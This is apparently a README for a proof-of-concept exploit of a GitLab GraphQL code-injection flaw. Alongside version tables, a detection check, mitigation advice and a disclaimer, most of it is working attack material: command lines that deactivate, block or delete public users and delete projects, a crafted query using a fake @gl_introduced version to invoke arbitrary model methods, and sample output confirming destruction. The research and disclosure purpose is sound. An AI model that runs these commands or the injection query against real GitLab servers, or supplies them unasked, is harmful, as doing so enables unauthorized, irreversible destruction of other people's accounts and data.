
Proof-of-concept exploit for unauthenticated remote code injection in GitLab's GraphQL API, using crafted queries to modify or delete public projects and users.
| Severity | 9.4 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94 (Improper Control of Generation of Code / Code Injection) |
| Affected | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| Fixed | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Disclosed | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
The exploit is a fallback-field code injection: an attacker-chosen field name
in a GraphQL query is turned into an arbitrary public_send call on the underlying
ActiveRecord model (Project, User, ...). Because the fallback field is only
created when the query also carries a "future" @gl_introduced directive, the
directive is the injection primitive.
| Series | Affected | Fixed |
|---|---|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
The script performs best-effort version detection (/api/v4/version with a token,
/help, /users/sign_in) and reports whether the target falls in the affected
ranges.
touch payload above. A vulnerable
instance returns "touch": true; a patched instance returns
Field 'touch' doesn't exist on type 'Project'.gl_introduced directive in
the GraphQL schema (/api/graphql introspection). Patched instances may still
expose it, so the behavioral check is authoritative.python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
| Option | Description |
|---|---|
--url | GitLab base URL, e.g. https://gitlab.example.com |
--project | Full path of a public project, e.g. group/subgroup/project |
--user | Username of a public user, e.g. alice |
--mode | check (default, benign touch) · modify (user: deactivate, project: touch) · destroy · delete · custom |
--method | Method name for --mode custom (must be a valid GraphQL name) |
--token | Optional GitLab PRIVATE-TOKEN (version detection / auth) |
--version | Skip detection, force a version string |
--insecure | Disable TLS certificate verification |
Destructive modes (modify, destroy, delete) require an interactive
yes confirmation.
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
The patched response is a normal GraphQL validation error:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
The target must be public (project visibility Public, or a user whose profile
is publicly resolvable via GraphQL). If the parent is null, the method is never
called.
/api/graphql, or disable the
@gl_introduced version-filter feature if it is not needed.e283c6ad "Prevent calling object method when resolving fallback field"This PoC is provided for defensive security research and authorized testing only. Do not run it against systems you do not own or lack explicit permission to test.